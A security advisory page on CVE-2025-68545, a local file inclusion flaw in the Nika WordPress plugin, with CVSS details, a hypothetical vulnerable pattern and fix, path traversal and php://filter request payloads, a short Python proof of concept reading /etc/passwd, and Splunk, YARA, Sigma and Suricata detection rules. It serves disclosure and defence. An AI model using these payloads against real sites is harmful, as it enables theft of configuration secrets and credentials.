CVE-2025-68545
Executive Summary
CVE-2025-68545 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Thembay Nika WordPress plugin, affecting all versions up to and including 1.2.14. The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading /etc/passwd, WordPress configuration files (wp-config.php), or log files containing credentials. The CVSS score of 8.1 (High) reflects the ease of exploitation (no authentication required) and the high confidentiality impact. As of this report, no official patch has been released, making this a zero-day threat for all sites using the vulnerable plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the plugin is not an NPM, PyPI, Go, or Ruby package, the supply chain risk is limited to the WordPress ecosystem. However, given the lack of a patch, site administrators must consider the plugin as compromised and either remove it or apply virtual patching via a Web Application Firewall (WAF).
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
- Confidentiality (C): High (H) – Full file read capability.
- Integrity (I): None (N) – No file modification.
- Availability (A): None (N) – No denial of service.
Threat Level: High. The combination of network exploitability, no authentication, and high confidentiality impact makes this a prime target for automated scanning and exploitation.
Deep Dive & Mechanics
The vulnerability exists in the nika plugin's PHP code, likely in a file that handles template loading or file inclusion. The plugin fails to sanitize user-supplied input (e.g., via $_GET, $_POST, or $_COOKIE) before using it in a PHP include() or require() statement. An attacker can manipulate the filename parameter to traverse directories and include arbitrary files from the server.
Example vulnerable code pattern:
$file = $_GET['file'];
include($file . '.php');
By sending a request like:
http://target.com/wp-content/plugins/nika/index.php?file=../../../../etc/passwd%00
The attacker can null-terminate the string to bypass the .php extension and read /etc/passwd. Alternatively, path traversal without null byte can be used if the extension is not appended.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern and what a secure version should look like.
Vulnerable Code (hypothetical):
<?php
$template = $_GET['template'];
include('templates/' . $template . '.php');
?>
Patched Code (recommended):
<?php
$allowed_templates = ['home', 'about', 'contact'];
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
include('templates/' . $template . '.php');
} else {
// Handle error
echo 'Invalid template.';
}
?>
The patched version uses a whitelist approach, ensuring only predefined templates can be included. Additionally, input validation and sanitization (e.g., basename(), realpath()) should be applied.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress instance with the Nika plugin (<=1.2.14) installed.
- A web server (Apache/Nginx) with PHP.
Exploitation Steps:
- Identify the vulnerable endpoint. Common patterns include
?file=,?template=, or?page=in plugin URLs. - Use path traversal to read sensitive files:
GET /wp-content/plugins/nika/index.php?file=../../../../etc/passwd HTTP/1.1 Host: target.com - For files with
.phpextension, use null byte injection (if PHP < 5.3.4) or double encoding:GET /wp-content/plugins/nika/index.php?file=../../../../wp-config.php%00 HTTP/1.1 - Alternatively, use PHP wrappers for more advanced attacks:
GET /wp-content/plugins/nika/index.php?file=php://filter/convert.base64-encode/resource=../../../../wp-config.php HTTP/1.1
Proof of Concept (PoC) Script:
import requests
target = "http://target.com/wp-content/plugins/nika/index.php"
payload = "../../../../etc/passwd"
params = {'file': payload}
response = requests.get(target, params=params)
print(response.text)
Blue Team (Defensive)
Detection Steps:
- Monitor web server logs for path traversal patterns (e.g.,
../,%2e%2e/,%00). - Look for requests to the Nika plugin directory with suspicious parameters.
- Check for outbound connections from the web server (if LFI leads to RCE via log poisoning).
Hunting Query (Splunk):
index=web sourcetype=access_combined
uri_path="/wp-content/plugins/nika/*"
uri_query IN ("*file=*", "*template=*", "*page=*")
| regex uri_query="(\.\.\/|%2e%2e%2f|%00)"
| table _time, clientip, uri, uri_query
Indicators of Compromise (IOCs)
- File Paths:
/etc/passwd,/wp-config.php,/var/log/apache2/access.log - URL Patterns:
?file=../../../../etc/passwd,?template=php://filter/convert.base64-encode/resource= - Network Indicators: Outbound connections from the web server to attacker-controlled IPs (if RCE achieved).
- Log Entries: Repeated 200 OK responses for non-existent files with path traversal patterns.
Detection Engineering
YARA Rule
rule CVE_2025_68545_LFI_Detection {
meta:
description = "Detects LFI attempts targeting Thembay Nika plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-68545"
strings:
$path_traversal = /(\.\.\/|%2e%2e%2f|%252e%252e%252f)/
$nika_param = /(file|template|page)=/
$php_wrapper = /php:\/\//
condition:
any of ($path_traversal) and any of ($nika_param) or any of ($php_wrapper)
}
Sigma Rule
title: CVE-2025-68545 - Thembay Nika LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with path traversal patterns targeting the Nika plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- 'file='
- 'template='
- 'page='
cs-uri-query|contains|all:
- '../'
- '%2e%2e%2f'
condition: selection
falsepositives:
- Legitimate use of relative paths in other plugins
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-68545 - Thembay Nika LFI Attempt"; flow:to_server,established; content:"/wp-content/plugins/nika/"; http_uri; content:"file="; http_uri; pcre:"/(\.\.\/|%2e%2e%2f)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released. Remove or rename the plugin directory via FTP/SSH.
- Apply virtual patching using a WAF (e.g., ModSecurity, Cloudflare) to block path traversal patterns.
- Monitor logs for exploitation attempts and rotate any exposed credentials.
Long-term Fix:
- The vendor must release a patched version that implements input validation, whitelisting, and proper file path sanitization.
- Site administrators should regularly update all plugins and themes.
Workaround:
- If the plugin is critical, consider forking the code and applying the patched logic described in the "Vulnerable vs. Patched Code" section.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.